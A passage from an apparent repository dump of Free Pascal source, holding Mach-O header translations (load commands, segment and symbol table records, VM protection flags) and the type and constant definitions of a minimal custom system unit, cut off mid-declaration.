= $6b5a4cd2; { Nehalem } 301 | CPUFAMILY_ARM_9 = $e73283ae; 302 | CPUFAMILY_ARM_11 = $8ff620d8; 303 | CPUFAMILY_ARM_XSCALE = $53b005f5; 304 | 305 | CPUFAMILY_INTEL_YONAH = CPUFAMILY_INTEL_6_14; 306 | CPUFAMILY_INTEL_MEROM = CPUFAMILY_INTEL_6_15; 307 | CPUFAMILY_INTEL_PENRYN = CPUFAMILY_INTEL_6_23; 308 | CPUFAMILY_INTEL_NEHALEM = CPUFAMILY_INTEL_6_26; 309 | 310 | CPUFAMILY_INTEL_CORE = CPUFAMILY_INTEL_6_14; 311 | CPUFAMILY_INTEL_CORE2 = CPUFAMILY_INTEL_6_15; 312 | 313 | // mach/vm_prot.h 314 | 315 | Type 316 | vm_prot_t = Integer; 317 | 318 | Const 319 | VM_PROT_NONE = $00; 320 | 321 | VM_PROT_READ = $01; {* read permission *} 322 | VM_PROT_WRITE = $02; {* write permission *} 323 | VM_PROT_EXECUTE = $04; {* execute permission *} 324 | 325 | PROT_READ = $1; { page can be read } 326 | PROT_WRITE = $2; { page can be written } 327 | PROT_EXEC = $4; { page can be executed } 328 | PROT_NONE = $0; { page can not be accessed } 329 | 330 | MAP_ANONYMOUS =$1000; 331 | MAP_ANON = MAP_ANONYMOUS; 332 | 333 | MAP_FAILED = pointer(-1); { mmap() has failed } 334 | MAP_SHARED = $1; { Share changes } 335 | MAP_PRIVATE = $2; { Changes are private } 336 | MAP_TYPE = $f; { Mask for type of mapping } 337 | MAP_FIXED = $10; { Interpret addr exactly } 338 | 339 | {* 340 | * The default protection for newly-created virtual memory 341 | *} 342 | 343 | VM_PROT_DEFAULT = VM_PROT_READ or VM_PROT_WRITE; 344 | 345 | {* 346 | * The maximum privileges possible, for parameter checking. 347 | *} 348 | 349 | VM_PROT_ALL = VM_PROT_READ or VM_PROT_WRITE or VM_PROT_EXECUTE; 350 | 351 | 352 | {* 353 | * An invalid protection value. 354 | * Used only by memory_object_lock_request to indicate no change 355 | * to page locks. Using -1 here is a bad idea because it 356 | * looks like VM_PROT_ALL and then some. 357 | *} 358 | 359 | VM_PROT_NO_CHANGE = $08; 360 | 361 | 362 | {* 363 | * When a caller finds that he cannot obtain write permission on a 364 | * mapped entry, the following flag can be used. The entry will 365 | * be made "needs copy" effectively copying the object (using COW), 366 | * and write permission will be added to the maximum protections 367 | * for the associated entry. 368 | *} 369 | 370 | VM_PROT_COPY = $10; 371 | 372 | 373 | 374 | {* 375 | * Another invalid protection value. 376 | * Used only by memory_object_data_request upon an object 377 | * which has specified a copy_call copy strategy. It is used 378 | * when the kernel wants a page belonging to a copy of the 379 | * object, and is only asking the object as a result of 380 | * following a shadow chain. This solves the race between pages 381 | * being pushed up by the memory manager and the kernel 382 | * walking down the shadow chain. 383 | *} 384 | 385 | VM_PROT_WANTS_COPY = $10; 386 | 387 | 388 | 389 | { Constant for the magic field of the mach_header (32-bit architectures) the mach magic number } 390 | 391 | Const 392 | MH_MAGIC = $feedface; 393 | MH_CIGAM = $cefaedfe; { NXSwapInt(MH_MAGIC) } 394 | 395 | Type 396 | 397 | {* The 64-bit mach header appears at the very beginning of object files for 398 | * 64-bit architectures. } 399 | mach_header_64 = Record 400 | magic : uint32_t; { mach magic number identifier } 401 | cputype : cpu_type_t; { cpu specifier } 402 | cpusubtype : cpu_subtype_t; { machine specifier } 403 | filetype : uint32_t; { type of file } 404 | ncmds : uint32_t; { number of load commands } 405 | sizeofcmds : uint32_t; { the size of all the load commands } 406 | flags : uint32_t; { flags } 407 | reserved : uint32_t; { reserved } 408 | End; 409 | pmach_header_64 = ^mach_header_64; 410 | 411 | { Constant for the magic field of the mach_header_64 (64-bit architectures) } 412 | { the 64-bit mach magic number } 413 | 414 | Const 415 | MH_MAGIC_64 = $feedfacf; 416 | MH_CIGAM_64 = $cffaedfe; { NXSwapInt(MH_MAGIC_64) } 417 | 418 | 419 | {* The layout of the file depends on the filetype. For all but the MH_OBJECT 420 | * file type the segments are padded out and aligned on a segment alignment 421 | * boundary for efficient demand pageing. The MH_EXECUTE, MH_FVMLIB, MH_DYLIB, 422 | * MH_DYLINKER and MH_BUNDLE file types also have the headers included as part 423 | * of their first segment. 424 | * 425 | * The file type MH_OBJECT is a compact format intended as output of the 426 | * assembler and input (and possibly output) of the link editor (the .o 427 | * format). All sections are in one unnamed segment with no segment padding. 428 | * This format is used as an executable format when the file is so small the 429 | * segment padding greatly increases its size. 430 | * 431 | * The file type MH_PRELOAD is an executable format intended for things that 432 | * are not executed under the kernel (proms, stand alones, kernels, etc). The 433 | * format can be executed under the kernel but may demand paged it and not 434 | * preload it before execution. 435 | * 436 | * A core file is in MH_CORE format and can be any in an arbritray legal 437 | * Mach-O file. 438 | * 439 | * Constants for the filetype field of the mach_header } 440 | 441 | Const 442 | MH_OBJECT = $1; { relocatable object file } 443 | MH_EXECUTE = $2; { demand paged executable file } 444 | MH_FVMLIB = $3; { fixed VM shared library file } 445 | MH_CORE = $4; { core file } 446 | MH_PRELOAD = $5; { preloaded executable file } 447 | MH_DYLIB = $6; { dynamically bound shared library } 448 | MH_DYLINKER = $7; { dynamic link editor } 449 | MH_BUNDLE = $8; { dynamically bound bundle file } 450 | MH_DYLIB_STUB = $9; { shared library stub for static } 451 | MH_DSYM = $a; { linking only, no section contents } 452 | { companion file with only debug sections } 453 | 454 | Const 455 | { Constants for the flags field of the mach_header } 456 | 457 | MH_NOUNDEFS = $1; { the object file has no undefined references } 458 | MH_INCRLINK = $2; 459 | { the object file is the output of an incremental link against a base file and can't be link edited again } 460 | MH_DYLDLINK = $4; 461 | { the object file is input for the dynamic linker and can't be staticly link edited again } 462 | MH_BINDATLOAD = $8; 463 | { the object file's undefined references are bound by the dynamic linker when loaded. } 464 | MH_PREBOUND = $10; 465 | { the file has its dynamic undefined references prebound. } 466 | MH_SPLIT_SEGS = $20; 467 | { the file has its read-only and read-write segments split } 468 | MH_LAZY_INIT = $40; 469 | { the shared library init routine is to be run lazily via catching memory faults to its writeable segments (obsolete) } 470 | MH_TWOLEVEL = $80; { the image is using two-level name space bindings } 471 | MH_FORCE_FLAT = $100; 472 | { the executable is forcing all images to use flat name space bindings } 473 | MH_NOMULTIDEFS = $200; 474 | { this umbrella guarantees no multiple defintions of symbols in its sub-images so the two-level namespace hints can always be used. } 475 | MH_NOFIXPREBINDING = $400; 476 | { do not have dyld notify the prebinding agent about this executable } 477 | MH_PREBINDABLE = $800; 478 | { the binary is not prebound but can have its prebinding redone. only used when MH_PREBOUND is not set. } 479 | MH_ALLMODSBOUND = $1000; 480 | { indicates that this binary binds to all two-level namespace modules of } 481 | 482 | { its dependent libraries. only used when MH_PREBINDABLE and MH_TWOLEVEL are both set. } 483 | MH_SUBSECTIONS_VIA_SYMBOLS = $2000; 484 | { safe to divide up the sections into sub-sections via symbols for dead code stripping } 485 | MH_CANONICAL = $4000; 486 | { the binary has been canonicalized via the unprebind operation } 487 | MH_WEAK_DEFINES = $8000; 488 | { the final linked image contains external weak symbols } 489 | MH_BINDS_TO_WEAK = $10000; { the final linked image uses weak symbols } 490 | MH_ALLOW_STACK_EXECUTION = $20000; 491 | { When this bit is set, all stacks in the task will be given stack } 492 | 493 | { execution privilege. Only used in MH_EXECUTE filetypes. } 494 | MH_ROOT_SAFE = $40000; 495 | { When this bit is set, the binary declares it is safe for use in processes with uid zero } 496 | MH_SETUID_SAFE = $80000; 497 | { When this bit is set, the binary declares it is safe for use in processes when issetugid() is true } 498 | MH_NO_REEXPORTED_DYLIBS = $100000; 499 | { When this bit is set on a dylib, the static linker does not need to examine dependent dylibs to see if any are re-exported } 500 | MH_PIE = $200000; 501 | { When this bit is set, the OS will load the main executable at a random address. Only used in MH_EXECUTE filetypes. } 502 | 503 | 504 | Type 505 | load_command = Record 506 | cmd : uint32_t; { type of load command } 507 | cmdsize : uint32_t; { total size of command in bytes } 508 | End; 509 | pload_command = ^load_command; 510 | 511 | 512 | { 513 | * After MacOS X 10.1 when a new load command is added that is required to be 514 | * understood by the dynamic linker for the image to execute properly the 515 | * LC_REQ_DYLD bit will be or'ed into the load command constant. If the dynamic 516 | * linker sees such a load command it it does not understand will issue a 517 | * "unknown load command required for execution" error and refuse to use the 518 | * image. Other load commands without this bit that are not understood will 519 | * simply be ignored. 520 | } 521 | 522 | Const 523 | LC_REQ_DYLD = $80000000; 524 | 525 | { Constants for the cmd field of all load commands, the type } 526 | 527 | Const 528 | LC_SEGMENT = $1; { segment of this file to be mapped } 529 | LC_SYMTAB = $2; { link-edit stab symbol table info } 530 | LC_SYMSEG = $3; { link-edit gdb symbol table info (obsolete) } 531 | LC_THREAD = $4; { thread } 532 | LC_UNIXTHREAD = $5; { unix thread (includes a stack) } 533 | LC_LOADFVMLIB = $6; { load a specified fixed VM shared library } 534 | LC_IDFVMLIB = $7; { fixed VM shared library identification } 535 | LC_IDENT = $8; { object identification info (obsolete) } 536 | LC_FVMFILE = $9; { fixed VM file inclusion (internal use) } 537 | LC_PREPAGE = $a; { prepage command (internal use) } 538 | LC_DYSYMTAB = $b; { dynamic link-edit symbol table info } 539 | LC_LOAD_DYLIB = $c; { load a dynamically linked shared library } 540 | LC_ID_DYLIB = $d; { dynamically linked shared lib ident } 541 | LC_LOAD_DYLINKER = $e; { load a dynamic linker } 542 | LC_ID_DYLINKER = $f; { dynamic linker identification } 543 | LC_PREBOUND_DYLIB = $10; 544 | { modules prebound for a dynamically linked shared library } 545 | LC_ROUTINES = $11; { image routines } 546 | LC_SUB_FRAMEWORK = $12; { sub framework } 547 | LC_SUB_UMBRELLA = $13; { sub umbrella } 548 | LC_SUB_CLIENT = $14; { sub client } 549 | LC_SUB_LIBRARY = $15; { sub library } 550 | LC_TWOLEVEL_HINTS = $16; { two-level namespace lookup hints } 551 | LC_PREBIND_CKSUM = $17; { prebind checksum } 552 | LC_LOAD_WEAK_DYLIB = $18 or LC_REQ_DYLD; 553 | { load a dynamically linked shared library that is allowed to be missing (all symbols are weak imported). } 554 | LC_SEGMENT_64 = $19; { 64-bit segment of this file to be mapped } 555 | LC_ROUTINES_64 = $1a; { 64-bit image routines } 556 | LC_UUID = $1b; { the uuid } 557 | LC_RPATH = $1c or LC_REQ_DYLD; { runpath additions } 558 | LC_CODE_SIGNATURE = $1d; { local of code signature } 559 | LC_SEGMENT_SPLIT_INFO = $1e; { local of info to split segments } 560 | LC_REEXPORT_DYLIB = $1f or LC_REQ_DYLD; { load and re-export dylib } 561 | LC_LAZY_LOAD_DYLIB = $20; { delay load of dylib until first use } 562 | LC_ENCRYPTION_INFO = $21; { encrypted segment information } 563 | 564 | Type 565 | lc_str = Record 566 | Case longint Of 567 | 0 : ( offset : uint32_t ); 568 | 1 : ( ptr : ^char ); 569 | End; 570 | 571 | 572 | { 573 | * The 64-bit segment load command indicates that a part of this file is to be 574 | * mapped into a 64-bit task's address space. If the 64-bit segment has 575 | * sections then section_64 structures directly follow the 64-bit segment 576 | * command and their size is reflected in cmdsize. 577 | } 578 | { for 64-bit architectures } 579 | 580 | segment_command_64 = Record 581 | cmd : uint32_t; { LC_SEGMENT_64 } 582 | cmdsize : uint32_t; { includes sizeof section_64 structs } 583 | segname : array[0..15] Of char; { segment name } 584 | vmaddr : uint64_t; { memory address of this segment } 585 | vmsize : uint64_t; { memory size of this segment } 586 | fileoff : uint64_t; { file offset of this segment } 587 | filesize : uint64_t; { amount to map from the file } 588 | maxprot : vm_prot_t; { maximum VM protection } 589 | initprot : vm_prot_t; { initial VM protection } 590 | nsects : uint32_t; { number of sections in segment } 591 | flags : uint32_t; { flags } 592 | End; 593 | psegment_command_64 = ^segment_command_64; 594 | 595 | 596 | Type 597 | 598 | dylib = Record 599 | name : lc_str; { library's path name } 600 | timestamp : uint32_t; { library's build time stamp } 601 | current_version : uint32_t; { library's current version number } 602 | compatibility_version : uint32_t; { library's compatibility vers number } 603 | End; 604 | 605 | 606 | dylib_command = Record 607 | cmd : uint32_t; 608 | { LC_ID_DYLIB, LC_LOAD_DYLIB,WEAK_DYLIB, LC_REEXPORT_DYLIB } 609 | cmdsize : uint32_t; { includes pathname string } 610 | dylib : dylib; { the library identification } 611 | End; 612 | pdylib_command = ^dylib_command; 613 | 614 | 615 | {* The symtab_command contains the offsets and sizes of the link-edit 4.3BSD 616 | * "stab" style symbol table information as described in the header files 617 | * and . 618 | } 619 | 620 | symtab_command = Record 621 | cmd : uint32_t; { LC_SYMTAB } 622 | cmdsize : uint32_t; { sizeof(struct symtab_command) } 623 | symoff : uint32_t; { symbol table offset } 624 | nsyms : uint32_t; { number of symbol table entries } 625 | stroff : uint32_t; { string table offset } 626 | strsize : uint32_t; { string table size in bytes } 627 | End; 628 | psymtab_command = ^symtab_command; 629 | 630 | Type 631 | 632 | {* This is the symbol table entry structure for 64-bit architectures.} 633 | nlist_64 = Record 634 | n_un : Record 635 | Case longint Of 636 | 0 : ( n_strx : uint32_t ); { index into the string table } 637 | End; 638 | n_type : uint8_t; { type flag, see below } 639 | n_sect : uint8_t; { section number or NO_SECT } 640 | n_desc : uint16_t; { see } 641 | n_value : uint64_t; { value of this symbol (or stab offset) } 642 | End; 643 | pnlist_64 = ^nlist_64; 644 | 645 | Implementation 646 | 647 | End. 648 | -------------------------------------------------------------------------------- /System/system.pas: -------------------------------------------------------------------------------- 1 | unit system; 2 | 3 | 4 | {.$I-,Q-,H-,R-,V-} 5 | {$mode objfpc} 6 | {$modeswitch advancedrecords} 7 | 8 | { At least 3.0.0 is required } 9 | {$if defined(VER1) or defined(VER2_0) or defined(VER2_2) or defined(VER2_4) or defined(VER2_6) } 10 | {$fatal You need at least FPC 3.0.0 to build this version of FPC} 11 | {$endif} 12 | 13 | { Using inlining for small system functions/wrappers } 14 | {$inline on} 15 | {$define SYSTEMINLINE} 16 | 17 | { don't use FPU registervariables on the i386 and i8086 } 18 | {$if defined(CPUI386) or defined(CPUI8086)} 19 | {$maxfpuregisters 0} 20 | {$endif CPUI386 or CPUI8086} 21 | 22 | { the assembler helpers need this} 23 | {$ifdef CPUPOWERPC} 24 | {$goto+} 25 | {$endif CPUPOWERPC} 26 | 27 | {$ifdef CPUAVR} 28 | {$goto+} 29 | {$endif CPUAVR} 30 | 31 | 32 | { needed for insert,delete,readln } 33 | {$P+} 34 | { stack checking always disabled 35 | for system unit. This is because 36 | the startup code might not 37 | have been called yet when we 38 | get a stack error, this will 39 | cause big crashes 40 | } 41 | {$S-} 42 | 43 | {$INLINE ON} 44 | {$OPTIMIZATION STACKFRAME} 45 | {$SMARTLINK ON} 46 | {$asmmode GAS} 47 | {$inline on} 48 | {$Hints OFF} 49 | {$define SYSTEMINLINE} 50 | 51 | interface 52 | 53 | type 54 | HResult = longint; 55 | pchar = ^char; 56 | PByte = ^byte; 57 | DWord = LongWord; 58 | Cardinal = LongWord; 59 | Integer = longint; 60 | UInt64 = QWord; 61 | THandle = DWord; 62 | {$ifdef CPU64} 63 | SizeInt = Int64; 64 | SizeUInt = QWord; 65 | PtrInt = Int64; 66 | PtrUInt = QWord; 67 | ValSInt = int64; 68 | ValUInt = qword; 69 | CodePointer = Pointer; 70 | CodePtrInt = PtrInt; 71 | CodePtrUInt = PtrUInt; 72 | 73 | {$endif CPU64} 74 | 75 | {$ifdef CPU32} 76 | SizeInt = Longint; 77 | SizeUInt = DWord; 78 | PtrInt = Longint; 79 | PtrUInt = DWord; 80 | ValSInt = Longint; 81 | ValUInt = Cardinal; 82 | CodePointer = Pointer; 83 | CodePtrInt = PtrInt; 84 | CodePtrUInt = PtrUInt; 85 | {$endif CPU32} 86 | 87 | 88 | { 89 | This file is part of the Free Pascal run time library. 90 | Copyright (c) 2001 by Free Pascal development team 91 | 92 | Basic types for C interfacing. Check the 64-bit defines. 93 | 94 | See the file COPYING.FPC, included in this distribution, 95 | for details about the copyright. 96 | 97 | This program is distributed in the hope that it will be useful, 98 | but WITHOUT ANY WARRANTY; without even the implied warranty of 99 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 100 | 101 | **********************************************************************} 102 | 103 | {***********************************************************************} 104 | { POSIX TYPE DEFINITIONS } 105 | {***********************************************************************} 106 | 107 | 108 | { the following type definitions are compiler dependant } 109 | { and system dependant } 110 | 111 | cint8 = shortint; pcint8 = ^cint8; 112 | cuint8 = byte; pcuint8 = ^cuint8; 113 | cchar = cint8; pcchar = ^cchar; 114 | cschar = cint8; pcschar = ^cschar; 115 | cuchar = cuint8; pcuchar = ^cuchar; 116 | 117 | cint16 = smallint; pcint16 = ^cint16; 118 | cuint16 = word; pcuint16 = ^cuint16; 119 | cshort = cint16; pcshort = ^cshort; 120 | csshort = cint16; pcsshort = ^csshort; 121 | cushort = cuint16; pcushort = ^cushort; 122 | 123 | cint32 = longint; pcint32 = ^cint32; 124 | cuint32 = longword; pcuint32 = ^cuint32; 125 | cint = cint32; pcint = ^cint; { minimum range is : 32-bit } 126 | csint = cint32; pcsint = ^csint; { minimum range is : 32-bit } 127 | cuint = cuint32; pcuint = ^cuint; { minimum range is : 32-bit } 128 | csigned = cint; pcsigned = ^csigned; 129 | cunsigned = cuint; pcunsigned = ^cunsigned; 130 | 131 | cint64 = int64; pcint64 = ^cint64; 132 | cuint64 = qword; pcuint64 = ^cuint64; 133 | clonglong = cint64; pclonglong = ^clonglong; 134 | cslonglong = cint64; pcslonglong = ^cslonglong; 135 | culonglong = cuint64; pculonglong = ^culonglong; 136 | 137 | cbool = longbool; pcbool = ^cbool; 138 | 139 | {$ifdef cpu64} 140 | clong = int64; pclong = ^clong; 141 | cslong = int64; pcslong = ^cslong; 142 | culong = qword; pculong = ^culong; 143 | {$else} 144 | clong = longint; pclong = ^clong; 145 | cslong = longint; pcslong = ^cslong; 146 | culong = cardinal; pculong = ^culong; 147 | {$endif} 148 | 149 | {$ifndef FPUNONE} 150 | cfloat = single; pcfloat = ^cfloat; 151 | cdouble = double; pcdouble = ^cdouble; 152 | clongdouble = extended; pclongdouble = ^clongdouble; 153 | {$endif} 154 | 155 | 156 | SInt8 = ShortInt; 157 | UInt8 = Byte; 158 | SInt16 = Integer; 159 | UInt16 = Word; 160 | SInt32 = LongInt; 161 | SInt64 = Int64; 162 | 163 | 164 | { the following type definitions are compiler dependant } 165 | { and system dependant } 166 | 167 | dev_t = cuint32; { used for device numbers } 168 | TDev = dev_t; 169 | pDev = ^dev_t; 170 | 171 | gid_t = cuint32; { used for group IDs } 172 | TGid = gid_t; 173 | pGid = ^gid_t; 174 | TIOCtlRequest = cuLong; 175 | 176 | {$if not defined(cpuarm) and not defined(aarch64) and not defined(iphonesim)} 177 | ino_t = cuint32; { used for file serial numbers } 178 | {$else} 179 | ino_t = cuint64; 180 | {$endif} 181 | TIno = ino_t; 182 | pIno = ^ino_t; 183 | 184 | mode_t = cuint16; { used for file attributes } 185 | TMode = mode_t; 186 | pMode = ^mode_t; 187 | 188 | nlink_t = cuint16; { used for link counts } 189 | TnLink = nlink_t; 190 | pnLink = ^nlink_t; 191 | 192 | off_t = cint64; { used for file sizes } 193 | TOff = off_t; 194 | pOff = ^off_t; 195 | 196 | pid_t = cint32; { used as process identifier } 197 | TPid = pid_t; 198 | pPid = ^pid_t; 199 | 200 | size_t = culong; { as definied in the C standard} 201 | TSize = size_t; 202 | pSize = ^size_t; 203 | psize_t = ^size_t; 204 | 205 | ssize_t = clong; { used by function for returning number of bytes } 206 | TsSize = ssize_t; 207 | psSize = ^ssize_t; 208 | 209 | uid_t = cuint32; { used for user ID type } 210 | TUid = Uid_t; 211 | pUid = ^Uid_t; 212 | 213 | clock_t = culong; 214 | TClock = clock_t; 215 | pClock = ^clock_t; 216 | 217 | time_t = clong; { used for returning the time } 218 | // TTime = time_t; // Not allowed in system unit, -> unixtype 219 | 220 | pTime = ^time_t; 221 | ptime_t = ^time_t; 222 | 223 | wchar_t = cint32; 224 | pwchar_t = ^wchar_t; 225 | wint_t = cint32; 226 | 227 | socklen_t= cuint32; 228 | TSocklen = socklen_t; 229 | pSocklen = ^socklen_t; 230 | 231 | suseconds_t = cint32; 232 | 233 | 234 | csize_t = size_t; pcsize_t = psize_t; 235 | 236 | 237 | 238 | // csize_t is defined in the operatingsystem dependant ptypes.inc 239 | // csize_t = ptruint; pcsize_t = pptruint; 240 | 241 | { Zero - terminated strings } 242 | PPChar = ^PChar; 243 | PPPChar = ^PPChar; 244 | 245 | 246 | TAnsiChar = Char; 247 | AnsiChar = Char; 248 | PAnsiChar = PChar; 249 | PPAnsiChar = PPChar; 250 | PPPAnsiChar = PPPChar; 251 | 252 | PWideChar = ^WideChar; 253 | PPWideChar = ^PWideChar; 254 | PPPWideChar = ^PPWideChar; 255 | 256 | PDWord = ^DWord; 257 | PLongWord = ^LongWord; 258 | PShortString = ^ShortString; 259 | PAnsiString = ^AnsiString; 260 | PInteger = ^Integer; 261 | PExtended = ^Extended; 262 | PCurrency = ^Currency; 263 | PVariant = ^Variant; 264 | PInt64 = ^Int64; 265 | PQWord = ^QWord; 266 | TSystemCodePage = Word; 267 | 268 | 269 | __off_t = longint; 270 | 271 | const 272 | CP_NONE = $FFFF; 273 | 274 | Const 275 | O_ACCMODE = &00003; 276 | O_RDONLY = &00000; 277 | O_WRONLY = &00001; 278 | O_RDWR = &00002; 279 | O_CREAT = &00100; 280 | O_EXCL = &00200; 281 | O_NOCTTY = &00400; 282 | O_TRUNC = &01000; 283 | O_APPEND = &02000; 284 | O_NONBLOCK = &04000; 285 | O_NDELAY = O_NONBLOCK; 286 | O_SYNC = &010000; 287 | O_FSYNC = O_SYNC; 288 | O_ASYNC = &020000; 289 | 290 | O_DIRECT = &0040000; 291 | O_DIRECTORY = &0200000; 292 | O_NOFOLLOW = &0400000; 293 | 294 | O_DSYNC = O_SYNC; 295 | O_RSYNC = O_SYNC; 296 | 297 | O_LARGEFILE = &0100000; 298 | 299 | F_DUPFD = 0; 300 | F_GETFD = 1; 301 | F_SETFD = 2; 302 | F_GETFL = 3; 303 | F_SETFL = 4; 304 | 305 | F_GETLK = 5; 306 | F_SETLK = 6; 307 | F_SETLKW = 7; 308 | 309 | F_GETLK64 = 12; 310 | F_SETLK64 = 13; 311 | F_SETLKW64 = 14; 312 | 313 | F_SETOWN = 8; 314 | F_GETOWN = 9; 315 | 316 | F_SETSIG = 10; 317 | F_GETSIG = 11; 318 | 319 | F_SETLEASE = 1024; 320 | F_GETLEASE = 1025; 321 | F_NOTIFY = 1026; 322 | 323 | FD_CLOEXEC = 1; 324 | F_RDLCK = 0; 325 | F_WRLCK = 1; 326 | F_UNLCK = 2; 327 | F_EXLCK = 4; 328 | F_SHLCK = 8; 329 | 330 | LOCK_SH = 1; 331 | LOCK_EX = 2; 332 | LOCK_NB = 4; 333 | LOCK_UN = 8; 334 | 335 | LOCK_MAND = 32; 336 | LOCK_READ = 64; 337 | LOCK_WRITE = 128; 338 | LOCK_RW = 192; 339 | 340 | DN_ACCESS = $00000001; 341 | DN_MODIFY = $00000002; 342 | DN_CREATE = $00000004; 343 | DN_DELETE = $00000008; 344 | DN_RENAME = $00000010; 345 | DN_ATTRIB = $00000020; 346 | DN_MULTISHOT = $80000000; 347 | 348 | SEEK_SET = 0; 349 | SEEK_CUR = 1; 350 | SEEK_END = 2; 351 | 352 | PROT_READ = $1; { page can be read } 353 | PROT_WRITE = $2; { page can be written } 354 | PROT_EXEC = $4; { page can be executed } 355 | PROT_NONE = $0; { page can not be accessed } 356 | 357 | MAP_FAILED = pointer(-1); { mmap() has failed } 358 | MAP_SHARED = $1; { Share changes } 359 | MAP_PRIVATE = $2; { Changes are private } 360 | MAP_TYPE = $f; { Mask for type of mapping } 361 | MAP_FIXED = $10; { Interpret addr exactly } 362 | 363 | MAP_ANONYMOUS =$1000; 364 | MAP_ANON = MAP_ANONYMOUS; 365 | 366 | Const 367 | FAPPEND = O_APPEND; 368 | FFSYNC = O_FSYNC; 369 | FASYNC = O_ASYNC; 370 | FNONBLOCK = O_NONBLOCK; 371 | FNDELAY = O_NDELAY; 372 | 373 | POSIX_FADV_NORMAL = 0; 374 | POSIX_FADV_RANDOM = 1; 375 | POSIX_FADV_SEQUENTIAL = 2; 376 | POSIX_FADV_WILLNEED = 3; 377 | POSIX_FADV_DONTNEED = 4; 378 | POSIX_FADV_NOREUSE = 5; 379 | 380 | 381 | Type 382 | 383 | TTYPEKIND = Record 384 | end; 385 | 386 | jmp_buf = packed Record 387 | rbx,rbp,r12,r13,r14,r15,rsp,rip : qword; 388 | {$ifdef CPU64} 389 | rsi,rdi : qword; 390 | xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12,xmm13,xmm14,xmm15: Record 391 | m1,m2: qword; 392 | End; 393 | mxcsr: longword; 394 | fpucw: word; 395 | padding: word; 396 | {$endif CPU64} 397 | End; 398 | pjmp_buf = ^jmp_buf; 399 | 400 | 401 | 402 | PGuid = ^TGuid; 403 | TGuid = packed Record 404 | Case integer Of 405 | 1 : ( 406 | Data1 : DWord; 407 | Data2 : word; 408 | Data3 : word; 409 | Data4 : Array[0..7] Of byte; 410 | ); 411 | 2 : ( 412 | D1 : DWord; 413 | D2 : word; 414 | D3 : word; 415 | D4 : Array[0..7] Of byte; 416 | ); 417 | 3 : ( { uuid fields according to RFC4122 } 418 | time_low : dword; // The low field of the timestamp 419 | time_mid : word; 420 | // The middle field of the timestamp 421 | time_hi_and_version : word; 422 | // The high field of the timestamp multiplexed with the version number 423 | clock_seq_hi_and_reserved : byte; 424 | // The high field of the clock sequence multiplexed with the variant 425 | clock_seq_low : byte; 426 | // The low field of the clock sequence 427 | node : Array[0..5] Of byte; 428 | // The spatially unique node identifier 429 | ); 430 | End; 431 | 432 | 433 | PExceptAddr = ^TExceptAddr; 434 | TExceptAddr = Record 435 | 436 | End; 437 | 438 | 439 | TMsgStrTable = Record 440 | name : pshortstring; 441 | method : codepointer; 442 | End; 443 | 444 | TStringMessageTable = Record 445 | count : longint; 446 | msgstrtable : array[0..0] Of tmsgstrtable; 447 | End; 448 | 449 | pstringmessagetable = ^tstringmessagetable; 450 | 451 | 452 | pinterfacetable = ^tinterfacetable; 453 | tinterfacetable = Record 454 | end; 455 | 456 | PVmt = ^TVmt; 457 | PPVmt = ^PVmt; 458 | TVmt = Record 459 | vInstanceSize: SizeInt; 460 | vInstanceSize2: SizeInt; 461 | vParentRef: {$ifdef VER3_0}PVmt{$else}PPVmt{$endif}; 462 | vClassName: PShortString; 463 | vDynamicTable: Pointer; 464 | vMethodTable: Pointer; 465 | vFieldTable: Pointer; 466 | vTypeInfo: Pointer; 467 | vInitTable: Pointer; 468 | vAutoTable: Pointer; 469 | vIntfTable: PInterfaceTable; 470 | vMsgStrPtr: pstringmessagetable; 471 | vDestroy: CodePointer; 472 | vNewInstance: CodePointer; 473 | vFreeInstance: CodePointer; 474 | vSafeCallException: CodePointer; 475 | vDefaultHandler: CodePointer; 476 | vAfterConstruction: CodePointer; 477 | vBeforeDestruction: CodePointer; 478 | vDefaultHandlerStr: CodePointer; 479 | vDispatch: CodePointer; 480 | vDispatchStr: CodePointer; 481 | vEquals: CodePointer; 482 | vGetHashCode: CodePointer; 483 | vToString: CodePointer; 484 | Private 485 | Function GetvParent: PVmt; inline; 486 | Public 487 | property vParent: PVmt read GetvParent; 488 | End; 489 | 490 | 491 | Type 492 | TObject = class End; 493 | 494 | 495 | type 496 | TClass = class of TObject; 497 | PClass = ^tclass; 498 | Int32 = Longint; 499 | UInt32 = Longword; 500 | RawByteString = type AnsiString(CP_NONE); 501 | 502 | 503 | 504 | Const 505 | vtInteger = 0; 506 | vtBoolean = 1; 507 | vtChar = 2; 508 | {$ifndef FPUNONE} 509 | vtExtended = 3; 510 | {$endif} 511 | vtString = 4; 512 | vtPointer = 5; 513 | vtPChar = 6; 514 | vtObject = 7; 515 | vtClass = 8; 516 | vtWideChar = 9; 517 | vtPWideChar = 10; 518 | vtAnsiString = 11; 519 | vtCurrency = 12; 520 | vtVariant = 13; 521 | vtInterface = 14; 522 | vtWideString = 15; 523 | vtInt64 = 16; 524 | vtQWord = 17; 525 | vtUnicodeString = 18; 526 | 527 | const 528 | maxLongint = $7fffffff; 529 | 530 | Type 531 | PVarRec = ^TVarRec; 532 | TVarRec = Record 533 | Case VType : sizeint Of 534 | {$ifdef ENDIAN_BIG} 535 | vtInteger : ({$IFDEF CPU64}integerdummy1 : Longint;{$ENDIF CPU64} 536 | VInteger: Longint); 537 | vtBoolean : ({$IFDEF CPU64}booldummy : Longint;{$ENDIF CPU64} 538 | booldummy1,booldummy2,booldummy3: byte; VBoolean: 539 | Boolean); 540 | vtChar : ({$IFDEF CPU64}chardummy : Longint;{$ENDIF CPU64} 541 | chardummy1,chardummy2,chardummy3: byte; VChar: Char); 542 | vtWideChar : ({$IFDEF CPU64}widechardummy : Longint;{$ENDIF CPU64} 543 | wchardummy1,VWideChar: WideChar); 544 | {$else ENDIAN_BIG} 545 | vtInteger : (VInteger: Longint); 546 | vtBoolean : (VBoolean: Boolean); 547 | vtChar : (VChar: Char); 548 | vtWideChar : (VWideChar: WideChar); 549 | {$endif ENDIAN_BIG} 550 | {$ifndef FPUNONE} 551 | vtExtended : (VExtended: PExtended); 552 | {$endif} 553 | vtString : (VString: PShortString); 554 | vtPointer : (VPointer: Pointer); 555 | vtPChar : (VPChar: PAnsiChar); 556 | vtObject : (VObject: TObject); 557 | vtClass : (VClass: TClass); 558 | vtPWideChar : (VPWideChar: PWideChar); 559 | vtAnsiString : (VAnsiString: Pointer); 560 | vtCurrency : (VCurrency: PCurrency); 561 | vtVariant : (VVariant: PVariant); 562 | vtInterface : (VInterface: Pointer); 563 | vtWideString : (VWideString: Pointer); 564 | vtInt64 : (VInt64: PInt64); 565 | vtUnicodeString : (VUnicodeString: 